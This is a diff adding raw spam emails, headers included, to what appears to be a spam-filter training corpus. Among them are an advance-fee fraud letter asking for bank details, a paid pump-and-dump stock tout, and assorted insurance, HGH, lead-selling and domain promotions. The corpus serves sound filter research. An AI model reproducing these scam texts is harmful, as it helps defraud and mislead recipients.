    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + 3D"Roster
    +     =20 +

    Not for use with the = +general public.=20 + For agent use only. Not approved in all states.
    + Certain-T 20-year is non-participating term life insurance = +to age=20 + 95, policy form S-3224, underwritten by Federal Kemper = +Life Assurance=20 + Company (FKLA), a Zurich Life Company, Schaumburg, IL = +60196-6801.=20 + Premier means no tobacco use of any kind in the past 60 = +months.=20 + Premiums include the annual policy fee; $50.00. Suicide = +and other=20 + limits may apply. Forms and policy provisions vary by = +state. Policy=20 + not available in all states. Companion policies not = +available in=20 + NJ.

    +     =20 +
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message.
    + Instead, go here: http://www.Insurancemail.net

    +
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    + Under Bill(s) 1618 TITLE III by the 105 US Congress, per Section + 301, Paragraph(a)(2)of S. 1618, a letter cannot be considered + Spam if the sender includes contact information and a method + of "removal".     +

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    + + + + diff --git a/bayes/spamham/spam_2/00294.497c7a26968a921c6345a525a2c87496 b/bayes/spamham/spam_2/00294.497c7a26968a921c6345a525a2c87496 new file mode 100644 index 0000000..293c7e4 --- /dev/null +++ b/bayes/spamham/spam_2/00294.497c7a26968a921c6345a525a2c87496 @@ -0,0 +1,65 @@ +From jos_ed@mail.com Mon Jun 24 17:03:27 2002 +Return-Path: jos_ed@mail.com +Delivery-Date: Mon May 13 12:33:42 2002 +Received: from koolre41576.com ([213.251.168.106]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g4DBXfe31474 for ; + Mon, 13 May 2002 12:33:42 +0100 +Message-Id: <200205131133.g4DBXfe31474@dogma.slashnull.org> +From: "JOSEPH EDWARD" +Reply-To: jos_ed@mail.com +To: yyyy@spamassassin.taint.org +Date: Mon, 13 May 2002 13:37:43 +0200 +Subject: +X-Mailer: Microsoft Outlook Express 5.00.2919.7000 Demo +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g4DBXfe31474 +X-Keywords: +Content-Transfer-Encoding: 8bit + + +ATTN: + +I PRESUME THIS MAIL WILL NOT BE A SURPRISE TO YOU. +I AM AN ACCOUNTANT WITH THE MINISTRY OF MINERAL +RESOURCES AND ENERGY IN SOUTH AFRICA AND ALSO A MEMBER +OF CONTRACTS AWARDING COMMITTEE OF THIS MINISTRY UNDER +SOUTH AFRICA GOVERNMENT. + +MANY YEARS AGO, SOUTH AFRICA GOVERNMENT ASKED THIS +COMMITTEE TO AWARDS CONTRACTS TO FOREIGN FIRMS, WHICH +I AND 2 OF MY PARTNERS ARE THE LEADER OF THIS +COMMITTEE, WITH OUR GOOD POSITION , THIS CONTRACRS +WAS OVER INVOICED TO THE TUNE OF US$25,600,000:00 AS A + +DEAL TO BE BENEFIT BY THE THREE TOP MEMBER OF THIS +COMMITTEE. +NOW THE CONTRACTS VALUE HAS BEEN PAID OFF TO THE +ACTUAL CONTRACTORS THAT EXECUTED THIS JOBS, ALL WE +WANT NOW IS A TRUSTED FOREIGN PARTNER LIKE YOU THAT WE + +SHALL FRONT WITH HIS BANKING ACCOUNT NUMBER TO CLAIM +THE OVER INFLATED SUM. +UPON OUR AGREEMEENT TO CARRY ON THIS TRANSACTION WITH +YOU, THE SAID FUND WILL BE SHARE AS FOLLOWS. +75% WILL BE FOR US IN SOUTH AFRICA. +20% FOR USING YOUR ACCOUNT AND OTHER CONTRIBUTION +THAT MIGHT REQIURED FROM YOU. +5% IS SET ASIDE FOR THE UP FRONT EXPENCES THAT +WILL BE ENCOUNTER BY BOTH PARTY TO GET ALL NECESSARY +DOCUMENTS AND FORMARLITIES THAT WILL JUSTIFY YOU AS +THE RIGHTFUL OWNER OF THIS FUND. +IF YOU ARE INTERESTED IN THIS TRANSACTION, KINDLY +REPLY THIS MASSEGE WITH ALL YOUR PHONE AND FAX +NUMBERS, TO ENABLE US FURNISH YOU WITH DETAILS AND +PROCEDURES OF THIS TRANSACTION. +GOD BLESS YOU +YOURS FAITHFULLY. + +JOSEPH EDWARD. + + + + + diff --git a/bayes/spamham/spam_2/00295.567c57d64a8f338d16d5047e533a1155 b/bayes/spamham/spam_2/00295.567c57d64a8f338d16d5047e533a1155 new file mode 100644 index 0000000..1550e79 --- /dev/null +++ b/bayes/spamham/spam_2/00295.567c57d64a8f338d16d5047e533a1155 @@ -0,0 +1,142 @@ +From warena@freemail.hu Mon Jun 24 17:03:27 2002 +Return-Path: warena@freemail.hu +Delivery-Date: Mon May 13 12:05:11 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4DB54e30128 for + ; Mon, 13 May 2002 12:05:06 +0100 +Received: from is1.takeone.net ([207.182.238.199]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4DB4dD13956; + Mon, 13 May 2002 12:04:48 +0100 +Received: from pluto.runbox.com ([203.168.252.67]) by is1.takeone.net + (Post.Office MTA v3.5.3 release 223 ID# 0-63340U200L2S100V35) with ESMTP + id net; Mon, 13 May 2002 02:57:06 -0700 +Message-Id: <000012342034$00000641$000068a5@fmx4.freemail.hu> +To: +From: "Richard Redmond" +Subject: don't Pay another monthly Bill until you read thisDGSRW +Date: Mon, 13 May 2002 04:03:17 -1600 +MIME-Version: 1.0 +X-Priority: 1 +X-Mailer: Internet Mail Service (5.5.2653.19) +X-Msmail-Priority: High +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + +

     

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    + + + + + + +--=appc28ja3p6dz0bmkhsk6b117hp1hf-- + diff --git a/bayes/spamham/spam_2/00317.902b19a36e88cd3ad096e736ff8c81a5 b/bayes/spamham/spam_2/00317.902b19a36e88cd3ad096e736ff8c81a5 new file mode 100644 index 0000000..23d70ae --- /dev/null +++ b/bayes/spamham/spam_2/00317.902b19a36e88cd3ad096e736ff8c81a5 @@ -0,0 +1,47 @@ +From trimlife@offer888.net Mon Jun 24 17:04:21 2002 +Return-Path: trimlife-3444431.13@offer888.net +Delivery-Date: Thu May 16 11:06:36 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4GA6Se29726 for + ; Thu, 16 May 2002 11:06:34 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4GA6QD28906 for + ; Thu, 16 May 2002 11:06:27 +0100 +Received: from offer888.com ([216.177.63.132]) by webnote.net + (8.9.3/8.9.3) with SMTP id UAA10272 for ; + Wed, 15 May 2002 20:46:21 +0100 +Message-Id: <200205151946.UAA10272@webnote.net> +Date: 15 May 2002 16:45:08 -0000 +X-Sender: offer888.net +X-Mailid: 3444431.13 +Errors-To: report@offer888.net +Complain-To: abuse@offer888.net +To: yyyy@netnoteinc.com +From: Trimlife +Subject: Lose Inches and Look Great This Summer! +X-Keywords: +Content-Type: text/html; + + + + +Untitled Document + + + + + + + + + + +
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Experience the convenience of buying online with Shop@Netscape! http://shopnow.netscape.com/ + +Get your own FREE, personal Netscape Mail account today at http://webmail.netscape.com/ + diff --git a/bayes/spamham/spam_2/00319.2702ee4100f722328afc52a1a6f1dc26 b/bayes/spamham/spam_2/00319.2702ee4100f722328afc52a1a6f1dc26 new file mode 100644 index 0000000..0c5d60b --- /dev/null +++ b/bayes/spamham/spam_2/00319.2702ee4100f722328afc52a1a6f1dc26 @@ -0,0 +1,259 @@ +From Emailcenter@cmmail.com Mon Jun 24 17:04:11 2002 +Return-Path: Emailcenter@cmmail.com +Delivery-Date: Wed May 15 18:24:55 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4FHOqe18073 for + ; Wed, 15 May 2002 18:24:52 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4FHOnD27149 for + ; Wed, 15 May 2002 18:24:50 +0100 +Received: from cmmail.com ([218.6.2.25]) by webnote.net (8.9.3/8.9.3) with + SMTP id SAA09980 for ; Wed, 15 May 2002 18:24:47 +0100 +Message-Id: <200205151724.SAA09980@webnote.net> +From: "Marketing Manager" +To: +Subject: The power of Email Marketing +Sender: "Marketing Manager" +MIME-Version: 1.0 +Date: Thu, 16 May 2002 01:26:00 +0800 +Reply-To: "Marketing Manager" +X-Keywords: +Content-Type: text/html; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + + + +Dear friend + + + + + +


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    + + + + diff --git a/bayes/spamham/spam_2/00320.a4e760741d537aef50c4c0b950329225 b/bayes/spamham/spam_2/00320.a4e760741d537aef50c4c0b950329225 new file mode 100644 index 0000000..d2ee432 --- /dev/null +++ b/bayes/spamham/spam_2/00320.a4e760741d537aef50c4c0b950329225 @@ -0,0 +1,157 @@ +From Market_Research@spcu.spb.su Mon Jun 24 17:04:12 2002 +Return-Path: Market_Research@spcu.spb.su +Delivery-Date: Wed May 15 18:58:40 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4FHwde19262 for + ; Wed, 15 May 2002 18:58:39 +0100 +Received: from cobra.colegioanchieta-ba.com.br ([200.254.13.67]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4FHwRD27292; + Wed, 15 May 2002 18:58:28 +0100 +Date: Wed, 15 May 2002 18:58:28 +0100 +Message-Id: <200205151758.g4FHwRD27292@mandark.labs.netnoteinc.com> +Received: from relay1.peterlink.ru (192.168.0.1 [192.168.0.1]) by + cobra.colegioanchieta-ba.com.br with SMTP (Microsoft Exchange Internet + Mail Service Version 5.5.2650.21) id J7GKKMYP; Wed, 15 May 2002 17:00:19 + +0100 +Reply-To: +From: "Market_Research@spcu.spb.su" +To: "6563@hotmail.com" <6563@hotmail.com> +Subject: Fwd: next Tuesday at 9am +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +<=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4.0 Transitional//EN=22> + + + + + + + + + + + +
    +
    For + Immediate Release
    +

    Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory + newsletters picking CBYI.   CBYI has filed to be traded= + on + the OTCBB, share prices historically INCREASE when companies= + get + listed on this larger trading exhange. CBYI is trading aroun= +d =24.30=A2 + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY.

    = + +

    REASONS TO INVEST IN CBYI +

  • A profitable company, NO DEBT and is on track to beat ALL ear= +nings + estimates with increased revenue of 50% annually=21 = + +
  • One of the FASTEST growing distributors in environmental &= +; safety + equipment instruments. +
  • Excellent management team, several EXCLU= +SIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    RAPIDLY GROWING INDUSTRY  +
    Industry revenues exceed =24900 million, estimates indicate th= +at there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    =21=21=21=21 CONGRATULATIONS + =21=21=21=21=21
    To our subscribers that took advantag= +e of + our last recommendation to buy NXLC.  It rallied f= +rom =247.87 + to =2411.73=21      








    +

    ALL removes HONERE= +D. Please allow 7 + days to be removed and send ALL address to: honey9531=40mail.net.cn +

    • +

     

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    +

    Certain statements contained in this news release may = +be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  Copyright c 2001 +

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    + + diff --git a/bayes/spamham/spam_2/00325.7e5ac4e91fba8111cce0e8dcc721912c b/bayes/spamham/spam_2/00325.7e5ac4e91fba8111cce0e8dcc721912c new file mode 100644 index 0000000..ba6234d --- /dev/null +++ b/bayes/spamham/spam_2/00325.7e5ac4e91fba8111cce0e8dcc721912c @@ -0,0 +1,238 @@ +From tba@insurancemail.net Mon Jun 24 17:04:15 2002 +Return-Path: tba@insurancemail.net +Delivery-Date: Thu May 16 03:33:13 2002 +Received: from insurance-mail.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g4G2XCe14211 for ; Thu, 16 May 2002 03:33:12 + +0100 +Received: from mail pickup service by insurance-mail.insuranceiq.com with + Microsoft SMTPSVC; Wed, 15 May 2002 22:32:36 -0400 +Subject: 9.05% Guaranteed Annuity @ 8% Commission +To: +Date: Wed, 15 May 2002 22:32:36 -0400 +From: "TBA" +Message-Id: +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcH8ZZGWC37BeofST3qoMyQeRqrpNw== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 16 May 2002 02:32:36.0762 (UTC) FILETIME=[F103BFA0:01C1FC81] +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_8A2A7_01C1FC44.0A86D9F0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_8A2A7_01C1FC44.0A86D9F0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + 8% Annuity Comissions! + From the TBA Annuity Doctor + 8% Commission=0A= +9.05% year one=0A= +5.05% guaranteed years 2-6=0A= +A++ Best +Carrier + + Guaranteed + =09 + Call Today for Details! + +Click Here for a Test Drive! +=20 + =20 + 800-624-4502 ext. 13=09 +? or ? + +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 + +Don't forget -- we also do Impaired Risk Life! + +www.TBA.com =20 + =20 +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net =20 + +Legal Notice =20 + +------=_NextPart_000_8A2A7_01C1FC44.0A86D9F0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +9.05% Guaranteed Annuity @ 8% Commission + + + + + =20 + + + =20 + + +
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    + + + +------=_NextPart_000_8A2A7_01C1FC44.0A86D9F0-- diff --git a/bayes/spamham/spam_2/00326.1e5d428b26e2e648a7560a38380cab1f b/bayes/spamham/spam_2/00326.1e5d428b26e2e648a7560a38380cab1f new file mode 100644 index 0000000..b978468 --- /dev/null +++ b/bayes/spamham/spam_2/00326.1e5d428b26e2e648a7560a38380cab1f @@ -0,0 +1,57 @@ +From mojoq@mail.slip.net Mon Jun 24 17:04:19 2002 +Return-Path: mojoq@mail.slip.net +Delivery-Date: Thu May 16 11:03:00 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4GA2xe29407 for + ; Thu, 16 May 2002 11:02:59 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4GA2rD28542 for + ; Thu, 16 May 2002 11:02:58 +0100 +Received: from server.nhlawyers.net (dsl-64-192-64-17.telocity.com + [64.192.64.17]) by webnote.net (8.9.3/8.9.3) with ESMTP id DAA11323 for + ; Thu, 16 May 2002 03:36:43 +0100 +Received: from smtp0421.mail.yahoo.com ([218.25.133.5]) by + server.nhlawyers.net with Microsoft SMTPSVC(5.0.2195.2096); Wed, + 15 May 2002 22:38:51 -0400 +Date: Thu, 16 May 2002 10:37:33 +0800 +From: "Victoria Mendell" +X-Priority: 3 +To: yyyy@neteze.com +Cc: yyyy@netinternet.net, yyyy@netmagic.net, yyyy@netmore.net, yyyy@netnoteinc.com +Subject: yyyy,Do You Know the HGH Differences ? +MIME-Version: 1.0 +Message-Id: +X-Originalarrivaltime: 16 May 2002 02:38:52.0203 (UTC) FILETIME=[D0CB7FB0:01C1FC82] +X-Keywords: +Content-Type: text/html; charset=us-ascii +Content-Transfer-Encoding: 7bit + + + +Hello, jm@neteze.com
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    +You are receiving this email as a subscriber
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    +just +Click Here + + diff --git a/bayes/spamham/spam_2/00327.1f6320c5ad43180ccad57610c646c6a3 b/bayes/spamham/spam_2/00327.1f6320c5ad43180ccad57610c646c6a3 new file mode 100644 index 0000000..8d6b26d --- /dev/null +++ b/bayes/spamham/spam_2/00327.1f6320c5ad43180ccad57610c646c6a3 @@ -0,0 +1,247 @@ +From leadsales400042@yahoo.com Mon Jun 24 17:03:55 2002 +Return-Path: leadsales400042@yahoo.com +Delivery-Date: Wed May 15 16:24:17 2002 +Received: from MIRAFLORES.GOB.PE ([161.132.70.10]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g4FFOAe12470 for ; + Wed, 15 May 2002 16:24:10 +0100 +Message-Id: <200205151524.g4FFOAe12470@dogma.slashnull.org> +Received: from yahoo.com([208.166.82.124]) by MIRAFLORES.GOB.PE (IBM + OS/400 SMTP V05R01M00) with TCP; Wed, 15 May 2002 10:23:51 +0000 +From: leadsales400042@yahoo.com +To: webmaster@efi.ie +Subject: Got Leads? +Date: 15 May 2002 20:34:36 -0700 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html +Content-Transfer-Encoding: quoted-printable + + +HEY, I AM FORWARDING YOU THE AD THEY SENT ME. +I TRIED THE LEADS AND THINK WE SHOULD USE THEM FOR OUR TEAM. +WHAT DO YOU THINK? +THANKS, +JOHN + + + + +LEAD SALE EXTENDED + + + + +
    +

    YOU HAVE BEEN INVITED TO JOIN THE CO-OP

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    + + + + +
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    We have= + recently put + together a lead co-op specifically for your group.  We have = +been + able to lock the price at as little as 50 cents per lead!!  = +Leads + are normally $1-$3 per...

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      So...= +.

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      SIGN = +UP TODAY....

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      GET O= +UR LEADS....

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      AND G= +ET TO WORK!!

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    + + + + + + +
    + NETWORK MARKETER OR GIFTER CONTACTS +
      +
    • All Leads Guaranteed To Be Network Marketers / o= +r + Gifters +
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    • Leads, Have Either Responded To A Internet Quest= +ionnaire, Or + Are Already On Our Contact List, Of Current, Active + Networkers, Open To Opportunity. +
    • Leads Include:    [At Least]= + Name, Phone, And Email
      • +
    +

      +

    +
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    ***USE US AS A TOOL TO BUILD YOUR BUSINESS!!&nbs= +p; REFER + AS MANY PEOPLE AS YOU CAN.  EARN A TRUE RESIDUAL INCOME BY THE + DUPLICATION OF YOUR TEAM, CAUSE REMEMBER......

    + + + + +
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    [Remember] = +  + Your System Now + Includes A Proven Lead System.      + [Remember]= +

    +

    ____________________________________________________________________= +_

    + + + + +
    +

    Replace= +ment Policy + [Our Leads Are Guaranteed]

    +
      +
    • +

      Any Unusable Lead   Ie. Missin= +g Info, + Invalid Info, Any Just Real Negative Response Towards You On = +The + Phone..... REPLACED

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    +

    Replacement = +Leads Given + -  No Questions Asked.  Just Let Us Know What You= + Need + And We Will Get It Handled.

    +

    PLEASE COMPLETE TH= +E FOLLOWING FORM 

    +
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    NAME +

    		PHONE
    EMAILTIME + TO CALL
    COMPANY + YOU ARE WITH
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    +  
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    You hav= +e received this + Message because of a past Client/Service Relationship we had with you. = +If this + might be inaccurate, or you simply wish to be Removed from all future N= +otices, + then CLICK + HERE

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    + + + +23 diff --git a/bayes/spamham/spam_2/00329.47e3728483bdcad34227e601eb348836 b/bayes/spamham/spam_2/00329.47e3728483bdcad34227e601eb348836 new file mode 100644 index 0000000..727a017 --- /dev/null +++ b/bayes/spamham/spam_2/00329.47e3728483bdcad34227e601eb348836 @@ -0,0 +1,52 @@ +From mailings@ticketmaster.co.uk Mon Jun 24 17:04:22 2002 +Return-Path: mailings@ticketmaster.co.uk +Delivery-Date: Thu May 16 12:18:46 2002 +Received: from mail1.ticketweb.co.uk ([213.86.56.112]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4GBIge00369 for + ; Thu, 16 May 2002 12:18:46 +0100 +Received: from mail.ticketweb.co.uk (localhost [127.0.0.1]) by + mail1.ticketweb.co.uk (Postfix) with SMTP id 98D024DFC6 for + ; Thu, 16 May 2002 12:18:41 +0100 (BST) +Date: Thu, 16 May 2002 12:14:56 +0100 +From: mailings@ticketmaster.co.uk +Subject: Save £5.00 on Creamfields tickets +To: mailings@ticketmaster.co.uk +Precedence: list +X-Bulkmail: 2.05 +Message-Id: <20020516111841.98D024DFC6@mail1.ticketweb.co.uk> +X-Keywords: + +Creamfields +Saturday 24th August 2002 2pm-6am (licence granted) +Old Liverpool Airfield +Speke Road, Liverpool + +Creamfields. It's What August Bank Holidays Are for. + +Creamfields is the most intense, chilled out, full on, laid back experience you can cram into one day. Creamfields is the only award-winning dance festival. It's the only festival to feature the best live acts on an outdoor stage, leaving the arenas to the DJs. Creamfields is the best of Cream, Bugged Out!, Global Underground, Subliminal, Passion, Pacha Futura, Frantic, Nukleuz, Bacardi B Bar and Sunday Best. It Just Gets Better. + +To help get the party started (right), Ticketmaster have negotiated an exclusive offer of £5.00 off the normal price of tickets making the tickets just £41.00 plus booking fee. + +Book here NOW. This offer is only available until 22 June* + +http://www.ticketmaster.co.uk/mkt_email/mktemail.asp?id=114 + +The line-up includes: + +FAITHLESS +UNDERWORLD +MIS-TEEQ DJ SHADOW +KOSHEEN LEMON JELLY STANTON WARRIORS BENT FC KAHUNA +LAYO AND BUSHWACKA (live) A MAN CALLED ADAM DIRTY VEGAS + +PAUL OAKENFOLD, SASHA, DEEP DISH, PETE TONG, DAVE CLARKE, TIMO MAAS, +DJ TIESTO, ERICK MORILLO, SEB FONTAINE, XPRESS 2, JUDGE JULES, YOUSEF, TALL PAUL, FERGIE, STEVE LAWLER, LOTTIE, NICK WARREN, SANDER KLEINENBERG, FERRY CORSTEN, ARMIN VAN BUUREN, JOHN KELLY, SANDRA COLLINS, JUSTIN ROBERTSON, UMEK, JON CARTER, JAMES ZABIELA, JFK, GUY ORNADEL, SCOTT BOND, CORVIN DALEK, ROB DA BANK, PAUL BLEASDALE, JAN CARBON, ANDY CARROLL, RICHARD SCANTY +And many, many more + + +*The offer is strictly subject to availability and does not apply to tickets already purchased. + +To stay up to date with other new events on sale, sign up for Ticketmaster's weekly Ticket Alert email newsletter. http://www.ticketmaster.co.uk/ticket_alert/ + +Please do not reply to this email, as you will not get a response. To remove yourself from this mailing list, please email here: mailto:unsubscribe@ticketmaster.co.uk and write "Unsubscribe" in the subject line. For all other enquiries, visit our help page: http://www.ticketmaster.co.uk/help/ + diff --git a/bayes/spamham/spam_2/00330.97460a01c80eb8ef3958118baf379c93 b/bayes/spamham/spam_2/00330.97460a01c80eb8ef3958118baf379c93 new file mode 100644 index 0000000..6e802ab --- /dev/null +++ b/bayes/spamham/spam_2/00330.97460a01c80eb8ef3958118baf379c93 @@ -0,0 +1,46 @@ +From lena_taylor@doneasy.com Mon Jun 24 17:03:53 2002 +Return-Path: lena_taylor@doneasy.com +Delivery-Date: Wed May 15 14:18:34 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4FDIXe05277 for + ; Wed, 15 May 2002 14:18:33 +0100 +Received: from doneasy.com (IDENT:squid@vp228014.uac63.hknet.com + [202.71.228.14]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP + id g4FDISD26048 for ; Wed, 15 May 2002 14:18:30 +0100 +Received: from unknown (HELO f64.law4.hotmail.com) (54.119.227.11) by + rly-yk04.mx.aol.com with smtp; 15 May 2002 05:29:49 +0800 +Received: from [38.223.171.163] by hd.regsoft.net with NNFMP; + Wed, 15 May 2002 03:29:14 +1000 +Received: from n7.groups.yahoo.com ([61.119.126.210]) by + da001d2020.lax-ca.osd.concentric.net with SMTP; Wed, 15 May 2002 01:28:40 + +1200 +Reply-To: +Message-Id: <005b15a33e1a$4435b0e3$4ec10cc0@qvlmra> +From: +To: Registrant32@mandark.labs.netnoteinc.com +Subject: new domain extensions are now affordable +Date: Thu, 16 May 2002 00:29:49 -1100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: eGroups Message Poster +Importance: Normal +X-Keywords: +Content-Transfer-Encoding: 8bit + +.BIZ and .INFO Available Here + +Dear sir/madam, + +The Internet Corporation for Assigned Names and Numbers [ICANN] has recently approved the addition of new extensions to the internet domain space. The new domain names will offer much-needed competition in the domain market. Consumers will be able to choose from the following new extensions: .biz, .info, and .name + +The new top-level domain names are now available to the general public at the following address: http://www.interniconline.com. Priced at only $24.95, the best names are expected to be snapped up quickly so don't hesitate. + +Sincerely, + +Internic Online +http://www.interniconline.com + +1202FFdi8-041VvDy1060QrFx3-446RpPn3326ChFp2-625zbFt8017TPMl55 + diff --git a/bayes/spamham/spam_2/00331.263b0f2df840360cb4b1ee9016c79d84 b/bayes/spamham/spam_2/00331.263b0f2df840360cb4b1ee9016c79d84 new file mode 100644 index 0000000..8b74aa0 --- /dev/null +++ b/bayes/spamham/spam_2/00331.263b0f2df840360cb4b1ee9016c79d84 @@ -0,0 +1,140 @@ +From kinson@asiamagic.com Mon Jun 24 17:04:24 2002 +Return-Path: 8wl9wZlmv@seed.net.tw +Delivery-Date: Thu May 16 15:48:20 2002 +Received: from Kinson (m203-133-159-113.ismart.net [203.133.159.113]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g4GEmGe08456 for + ; Thu, 16 May 2002 15:48:17 +0100 +Date: Thu, 16 May 2002 15:48:17 +0100 +Received: from gcn by mars.seed.net.tw with SMTP id AwsFUlhZivxwOHxqrxYk5R; + Thu, 16 May 2002 22:58:15 +0800 +Message-Id: +From: kinson@asiamagic.com +To: +Subject: Business opportunity! +X-Mailer: fNthRC4yresSVXVvrmumpAEY +Content-Type: text/plain; +X-Priority: 3 +X-Msmail-Priority: Normal +X-MIME-Autoconverted: from Quoted-Printable to 8bit by dogma.slashnull.org + id g4GEmGe08456 +X-Keywords: +Content-Transfer-Encoding: 8bit + +Hello! + +This is Kinson Wong from Asia Magic (HK) Ltd company. +We got your company information from internet. I would like to take opportunity to introduce our company. + +Our company as a manufacture ourselves. We are supply computer hardware accessories and peripheral such sound card and AGP card. +We ensure that our productions and projects at maximum quality yield and be able to fulfill different needs of various levels. We are look forward to do business in the future!! +If you want to reply us, please record: kinson@asiamagic.com + +Now I can offer those quotation to you: +Sound Card: +CMedia 8738 PCI Sound Card USD 4.50 +CMedia 8738 PCI Sound Card 5.1 channel USD 6.50 +Crystal 4281 PCI Sound Card USD 4.60 +Crystal 4280 PCI Sound Card USD 4.60 +Crystal 4620 PCI Sound Card USD 4.50 +Crystal 4236 ISA Sound Card USD 4.00 +ESS 1938 PCI Sound Card USD 4.90 +ESS 1978 PCI Sound Card USD 4.60 +ESS 1989 PCI Sound Card USD 5.40 +ESS 1869 ISA Sound Card USD 3.60 +Yamaha 715 ISA Sound Card USD 4.60 +Yamaha 724 PCI Sound Card USD 5.40 +Yamaha 734 PCI Sound Card USD 4.80 +Yamaha 740 PCI Sound Card USD 5.80 +Yamaha 744 PCI Sound Card USD 6.20 + +VGA Card: +Nvidia Geforce4 Ti4200 USD Coming +Nvidia Geforce4 Ti4400 USD Coming +Nvidia Geforce4 Ti4600 USD Coming +Nvidia Geforce2 MX460 64MB DDRAM w/TV/DVI,Bundled w/PowerDVD USD 111.50 +Nvidia Geforce2 MX460 64MB DDRAM w/TV,Bundled w/PowerDVD USD 106.50 +Nvidia Geforce2 MX440 64MB DDRAM w/TV,Bundled w/PowerDVD USD 79.00 +Nvidia Geforce2 MX420 64MB SDRAM w/TV,Bundled w/PowerDVD USD 58.50 +Nvidia Geforce2 Ti200 128MB DDRAM w/TV/DVI,Bundled w/PowerDVD USD 104.50 +Nvidia Geforce2 Ti200 64MB DDRAM w/TV/DVI,Bundled w/PowerDVD USD 88.50 +Nvidia Geforce2 Ti 2X/4X 64MB DDRAM USD 65.50 +Nvidia Geforce2 MX400 64MB DDRAM w/TV USD 45.00 +Nvidia Geforce2 MX400 64MB DDRAM USD 40.00 +Nvidia Geforce2 MX400 64MB SDRAM w/TV USD 44.50 +Nvidia Geforce2 MX400 64MB SDRAM USD 39.50 +Nvidia Geforce2 MX200 32MB DDRAM w/TV USD 38.50 +Nvidia Geforce2 MX200 32MB DDRAM USD 33.50 +Nvidia Geforce2 MX200 32MB 